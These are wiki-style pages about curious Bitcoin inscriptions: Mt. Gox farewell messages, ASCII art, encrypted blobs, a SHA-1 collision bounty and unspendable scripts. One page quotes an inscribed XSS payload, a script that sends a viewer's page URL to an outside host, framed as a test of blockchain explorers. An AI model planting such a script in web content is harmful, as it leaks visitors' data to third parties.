Porn by Ciro Santilli 35 Updated +Created
For now we are going to keep this site porn-free and only link to prevent bad things from happening, as it might violate GitHub porn policy depending on how it is hosted, and Google may dislike it. Video "What is more obscene: sex or war? scene from The People vs. Larry Flynt".
If illegal porn were to ever be found, we would be unable to acknowledge that, and would just have to silently remove it. Of course, the reproducible nature of Bitcoin Inscription Indexer means that anyone who regenerates the data would immediately see such entries in the diff.
Another issue is that it can be quite hard to determine if porn is legal or illegal, e.g. it can be hard to distinguish legal an illegal ages or revenge vs consensual porn, especially at the low resolutions that you may expect to find embedded in the blockchain. We are generally going to be quite strict about this, and in case of uncertainty on porn legality we will censor first.
OK the list:
4c903a377addab7c1e35a685d3dabc664199e406374b1e5ce2fc59e78fb5b754.gif
Mt. Gox' shutdown by Ciro Santilli 35 Updated +Created
Mt. Gox was the first Cryptocurrency exchange in existence, and when it shutdowon in Febrauary 2014 because the website was crap and they got hacked, some people were not happy at all about their missing funds!
tx 0540b5dda23ee870330c6b1e18a88c592cf8d847c47f1dc1d5328f46115b12b3 (2014-02-25)
2014-02-25: The day Mt.Gox shut down. Farewell, may even you rest in peace!
tx c00a4a04905a2e8d8dee8a768165aa6bdf842413a8a648462a6349db89cd77f2 (2014-02-27) has an ASCII art of a seal, TODO understand meme:
        o
      / |
      | \
  .   |  |
.'\`  | \|
  | \_/ \ \
  \____/\/
<3 You Seals!
Text by Ciro Santilli 35 Updated +Created
Here are some exceptionally interesting text inscriptions that are not mentioned in other sections:
1759ed3f0f5829711157c1fc3662f4bf01f3bee3a430242bc729898bb77c2a4a
TODO:
  • 55a5d0c09ad5535711d649fdab394add3bb6e50cc2c49920cf0cb758ff0b69e8 via cryptograffiti.info contains what seems to be a ASCII table tracking train movements? Maybe from a train lover? But also curiously, it is GPG signed:
    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA256
    
    time    direction    # covered    #uncovered    notes
    11/11/2013 6:31pm    E    4    1    csx 6243
    11/19/2013 4:46pm    E    3    0    csx 6215
    11/19/2013 5:44pm    W    4    0    Amtrak
    11/21/2013 4:05pm    E    0    0    csx 6206
    Interesting.
    86c1b7bd8bbdd8903355a8f6a408616621fd2ea4321b9aced778f388afe0b244 has something similar.
  • cc38d740dc1999a803dbba0c48a82af994861e0767f6bcd7d6ceebe4e66b4678 via cryptograffiti.info contains a pipe dream technical proposal idea entitled:
    Attack-resistant decentralized time and location services via Nakamoto chain consensus.
  • 5d9ef37e6beea5342ce1cb2681a7b465a542394aeda2b1e1fed00fab44b17833 via cryptograffiti.info contains a test of every character from 0 to 255, e.g. some of the readable characters are:
    65:              A
    66:              B
    67:              C
    68:              D
    69:              E
    70:              F
    71:              G
    72:              H
    73:              I
    74:              J
    75:              K
    76:              L
    77:              M
    d5f6614b4e3bdc611c8ad15f158163e48e1a1298ea5f5f9832ada8db6e2dd4b2 has something similar.
  • 0f96b2f6e3c4f4b6319efbafd2e7148d507b260b4d7914766e79aec7d9ac9574 via cryptograffiti.info has a long-ish message that looks like a software release note, not sure what it is about:
    Truecrypt 7.1a
    ==============
    
    2015-07-19
    
    I am setting the filesizes and checksums of the last Truecrypt version (7.1a) in stone.
  • 206a0edb11ba0677248709d9bc5210b35e8a03710d9bb19c6f1e4e254bf21f5e via cryptograffiti.info has a letter to AGI:
    Dear Artificial Intelligence,
    While cute, the author clearly underestimates the magnitude of singularity!
  • cdbeb50c11b788fa4e67e00fb2e2607b129492a4a38bed0a9e31443a42e272a4 via cryptograffiti.info contains a semi-philosophical text that starts with:
    When in the course of cosmic evolution,
  • b55c3312ceeeb4ab422b658f5f4d5884775a498ddde6a527fca7b67752e1b044 via cryptograffiti.info contains some wedding vows starting with and GPG-signed:
    Zachary Thomas Smith,
    I give myself - Jenna Marie Vaziri - to you, to be your wife, your best friend, and your home - just as you are to me.
  • 3620da027df2e2e34ac9abe0123dcd7217fc5b8dec9921cbae258c640c7a6591 via cryptograffiti.info contains a neatly formatted UTF-8 ad with a link to: bitcointalk.org/index.php?topic=1033773.0
    ╭───────────────────────────────────────────────────────────────────────────╮
    │    B&C EXCHANGE:  A decentralized cryptocurrency exchange for everyone    │
    ┝━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┥
    │             https://bitcointalk.org/index.php?topic=1033773.0             │
    │                                                                           │
    │ B&C Exchange will be an open-source decentralized exchange that completes │
    │ cryptocurrency  trades between  users by utilizing multisig signers  that │
    │ compete for blockchain  rewards based on their effectiveness and honesty. │
    ├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
    ┆          ▷▶▷▶    There are 10 days  left in the auction!    ◀◁◀◁          ┆
    ╰───────────────────────────────────────────────────────────────────────────
    The thread links to bcexchange.org/ which is dead as of 2024.
    f93e128c59b357ca2d1b256eb1c4d991c488da460527ca0898dc789210073bd2 has another one:
    ┏━━ UTF-8 is coming to CryptoGraffiti.info!!! ━━┓
    ┠╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┨
    ┃ I love you.                          Σ΄αγαπώ. ┃
    ┃               Ma armastan sind.               ┃
    ┃ Aš tave myliu.               Mä rakastan sua. ┃
    ┃                 Я люблю тебя.                 ┃
    ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  • 140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515a
    Reddit on the Bitcoin blockchain Test
    TODO understand this part:
    The "Address" you see above is more than a bitcoin address? For example, the web address to this 
    
    reddit thread is: https://www.reddit.com/r/Bitcoin/comments/3cdxep/reddit_on_the_blockchain_test/
    
    Which converts to the bitcoin address of:
    12uPLj6PSz6ULnZi1jXo7Ch1Je1SuqxRcE
    
    How? Because any text, like a web address, can be converted into a bitcoin address.
    
    www.reddit.com = 1MZCEUCtyJCDkNSLYbPVvAgf9V3CsEw3t
    www.google.com = 1JEZLaFciACHDEMVd3RXZzPmGcsWEwYQLr
    www.voat.com = 1JvCp9X5Bvvt2kz3EqP5ppkzX62sKgKbqr
    www.paystamper.com = 14wgeaWz2rKax8iVSWNFSrSsAYNeGyNdkt
    Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhS
  • 940f41f5cc96182c1392c239d7570f94bd524e141ca0a88fdb154bd817049f83.bin via cryptograffiti.info contains some links to profiles controlled by a "Daniel Michael Abraham" www.linkedin.com/in/daniel-abraham-9432a798/. Other messages by him:
    • 3d39024fa0cddfc529d4a41501df7a076f5bcf9a7a43f88f54a717e6df7f4770
    • 088ebf7ffdef96b8fcac7eafa2ff6d04f295ea24f159e1ce4b7d47ed7b91b1f9
Provably unspendable Bitcoin output script by Ciro Santilli 35 Updated +Created
Encrypted data by Ciro Santilli 35 Updated +Created
Transactions such as tx fe37c7eee73be5fda91068dbe0eb74a68495a3fc7185712b8417032db7fc9c5e (2015-01-15) starting with
U2FsdGVkX1/4iSjLxQ5epo8eRSCOQLGgAsn1CucGii27k8ZyC7Jz6wxhYcevVmxi
6Q4ZFN04WDN0UhKqYardgQf26oeBMURupduDd0ZozxlgMrBkFOCaARqU7RABVWDO
/ruPUcOY0VC8p4lrMNqSdqvN7y6OWwOSH3c0duumZfFNZs9+BbtKCxtaqR5+RkUI
are Base64 encoded. Running them through base64 -d leads to starting output bytes Salted__ which as mentioned at security.stackexchange.com/questions/124312/decrypting-binary-code-from-a-base64-string is OpenSSL encrypted data. So hwerever we see the start:
U2FsdGVkX1/
we might as well give up. That string appears 26 times in our data currently, between 6c091e6152b83ec0df8d0d87c7c5f3da72a3328ed3a5d91768ba0ab899c16b9d (2014-09-28) and 84189c82995db355e92e37f8cfe8a9274e9a5d157f1f1658067672e707469a09 (2019-07-06)
The following via cryptograffiti.info get marked by file as "openssl enc'd data with salted password, Base64 encoded":
  • ad3d8a0a5d57114b1780341cb5104284f029bb01b1b3558f7c7b9ce51eb67e18
  • 1cd0c631f444d664601468f644b70e0166019a54d8678de51310139b6c8b2bd7
  • ccc3fb2c9cb1c640b76645a8658693066fd63433ab17c318691ad5bd62601c0e
  • e6eb0cb8268a9b3d012d2957b32d4b28ccc3317593f54f4bfe4b387326588bd2
  • c40e322b198b715accc4a67fad244ed131b8cef0785070e06d10d56c4ab389f2
  • 37a261ac6dbf59e3c9673a22028bcdbdd08926a9d32134ab8fba0897f6dcd196
  • f1aa516fe00ec2156f16fcb9da422f6cbcd141e8e58c895d8bc37b4ad2fd714e
  • 7faf29c7dd7d9cc6d099c262f7ec7edd7fc768276482ad66ceefdd814f1d38ab
  • 69cac244051661cc0b8b08905af5ab312a1282b68c932e5d1e3c46ad47ff0f7a
  • 1773c39f844951b7169dc34aa0c72aa7b43cae6a103ed1223527ef0f4deec2a9
  • b1d4bf3fc46e63c995ad4299f3576340077bc810dfa5c502d1c068460d54bc98
  • a52625837741902e1dd24de3dbd3b948d6e0907ad3fc957c13cdf53fa2c3b9ac
  • 4ca742813eaccef009e24e92150dda06540c2ac81782f1569b1ebb3179a413d2
  • 6c3bab5fc6e6352c62a16ab0f47394845aa41a2c0b25e1a1073a4aeac150e03d
  • 20b8feef3d293a0dd79e3c169fceb1217465502a523acbab903a7eb0cd183709
  • b7863215b99567bc9e71155b13f3c5f26d15eac52493ee2e834129460ffd2aec
  • 2c8961a64bb11d5855790085f51007273467f7ef862137215c9f1d958dcb6c57
  • bed542957bdd8f644a4fcd671a8c66a5cc5d6168f9fa60d37177703e77558eee
  • 3e45af9d828754d5a38c86636a070610f6e828482718c4a597d272d41a3e31fa
  • a13af4817e85cacce3cfb445001e2fb2f56cdc30f78348fd2580bf8f4c84dc55
  • 87a10f6bc65a08067b2544e46be00d4af62c0cfed3ae0b165d5eedaff09d81da
  • ef55826befabbe9dcd44d87fc385d600dd4c4cba3346cde53d8c591960e9b4dc
  • 5d30f63131dcf2b4d001b4ab530e18cc6ff8ffd16cade055ff4587a59b84e420
  • 8a75514829b6e30b9fea434eef77b1589ff3f4bdfc0056bd087efbfb8314eb59
  • e2be1062c9d43cc6ed43de6f7a40c728d2d92ed0325abde24ff3300cf3ae136a
  • 8fe5c2679237e36c74fda04bb083f732c4afdd06af81121b1d7b4d5bd677135f
  • 7f099f094d8d51105d8655253d45ebddf1c88b9e138c302a65d2878a237e620c
  • 0fc4b3a305e2a7faa2e7d9c2f23d23d626e9e75f1f2a37133f283334b314645b
  • 933b321e7b7144ed5e4e1750f944be9ed10293633d9b288bf05febdeb9dc40a3
  • 6215486bc024dea7991b142e50e111c4063e1db4a867514612b8e794b8ef5635
  • fc0613e11269962d97373b10e310f451fb76c7bb477ba1afb45773c44851e9ed
  • ab51d2c037b4625394c68706da83c26bad751018d2a3e377a51988bd8ee18647
  • 7ca9b337172f4feff67a0ecbfbd76798265e08c6ebe989a319883c695d756247
  • 0f0b477e456dcf286d7262497bcd5b3b6a3ce89f81761c2f59ff702539ab6183
  • a320152fd59426c8853dd781db9d682f89755953b39a653f9e9c9628a5fce7fb
  • e96221da774fb52d24dda1b83b14c99085eb4befac64691722c56eb750562d68
  • a7a5ca68dd340dd42bd5c91e0febe68e5fd2fb993da2992661183eaafe8ad89e
  • 64e9d95e2333cfd155506199c8d926649e63a98dbc83c1221b8dd1580937b942
blockchain.news/news/mysterious-bitcoin-inscriptions-a-puzzle-in-raw-binary-data mentions a huge 9 MB Ordinal ruleset inscription that no-one managed to decode, and so people suspect is encrypted data. Seems to be split across transactions, starting at fed7de7fb75a3fe3c1acbbd8e19a4c540fb368474c8834e4ddb1d5bab764a767
Peter Todd's hash collision puzzles by Ciro Santilli 35 Updated +Created
As mentioned at the prize was claimed at 8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same SHA-1:
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sum
both giving
f92d74e3874587aaf443d1db961d4e26dde13e9c
It was claimed on the same day that Google disclosed the collision: security.googleblog.com/2017/02/announcing-first-sha1-collision.html
Both of these are PDF prefixes, so they start with the PDF file signature, but are not fully viewable PDFs on their own.
Bitcoin getrawtransaction command by Ciro Santilli 35 Updated +Created
Satoshi Bitcoin address by Ciro Santilli 35 Updated +Created
ASCII porn by Ciro Santilli 35 Updated +Created
All found so far are also reproduced at: asciiart.website/index.php?art=people/naked%20ladies therefore not blockchain original.
Some of the very first ASCII art present in the blockchain besides BitLen is porn. Surprising?
Cute Coinbase messages by Ciro Santilli 35 Updated +Created
Coinbase message are messages that only miners can embed in the blockchain.
As such most of them tend to be boring ads for mining pools, but there are a few exceptions, especially in the early days.
Eternity Wall by Ciro Santilli 35 Updated +Created
This website used to allow embedding text messages with OP_RETURN, here's an archive from 2015: web.archive.org/web/20150718052659/http://eternitywall.it/
As of January 2024, it seems to read-only mode, where it simply indexes matching transactions that were made via other means: web.archive.org/web/20230929075331/https://eternitywall.it/
There were 3191 hits for the search term:
git grep '\bEW '
in our data starting with tx a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e (2015-06-24):
EW Eternity wall is live
up to the last entry on tx 28820bc14cf2cfda58ecbc9ac6df3f41a1cb90f4246543f01ba42a5e9dac3cf8 (2023-06-15)
EW May our friendship endure, signed by hg, kty, wjj, and xyz.
no doubt initials of 4 Chinesepeople. A blood brother oath comes to mind, akin to the Oath of the Peach Garden. Will these four be the ones to take down the evil dictator Xi Jinping?
The very first message gives away the name of what we assume is a web-based upload system, "EW" being its advertisement signature added to every message.
Running bitcoin-cli:
bitcoin-core.cli getrawtransaction a3b3af21514bd79a4cbcac9916a8514636a72d813539192214542fd85247082e true
shows that the messages are encoded with OP_RETURN:
  "vout": [
    {
      "value": 0.00000000,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_RETURN 455720457465726e6974792077616c6c206973206c697665
Quotes and threes by Ciro Santilli 35 Updated +Created
Starting tx 2f201c8518c7b012c03c2c82e40e86f6aaf616ea5fbe22570aac9d2c6611cb68 (2023-03-11), the chain is flooded with ASCII transactions containing many repeated double quotes " and digits 3, with some other characters interspersed in them without any clear pattern e.g. the first one:
""""""""""""""""""""""""""""""""jk""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""'}""""""""""""""""""""""""""""""""/D""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""q1""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""XK""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
TODO what is up with that?
In that first trasaction the quotes appear as part of a Multisig output script.
BSHUNTER: Detecting and Tracing Defects of Bitcoin Scripts by Ciro Santilli 35 Updated +Created
Authors: Peilin Zheng, Xiapu Luo, Zibin Zheng
Epic title.
OnChainMonkey by Ciro Santilli 35 Updated +Created
From their site:
OCM Genesis is our flagship generative art collection that's set many historic precedents since its launch in 2021. Genesis is the first NFT collection where all 10,000 images and metadata (similar to DNA describing the NFT) were generated using code entirely on-chain in a single transaction on Ethereum. With the launch of Bitcoin Ordinals, Genesis is the first ever collection of 10,000 images to be inscribed on Bitcoin in 2023.
Some of their likely transactions were noted in our list of large transactions: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/payload_size_out e.g.:
004c3f1efa0095b229dd05ea247c94a5af742daf682fb082a6e62f4aeeb973f2 66033
ffc73ef454d512f98a451960e05a0a036406ed1078a1bd7082fd4036cf0af067 66021
but we haven't had the patience to index them properly yet. Boring art anyways.
4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by Ciro Santilli 35 Updated +Created
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
5660d06bd69326c18ec63127b37fb3b32ea763c3846b3334c51beb6a800c57d3 by Ciro Santilli 35 Updated +Created
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.

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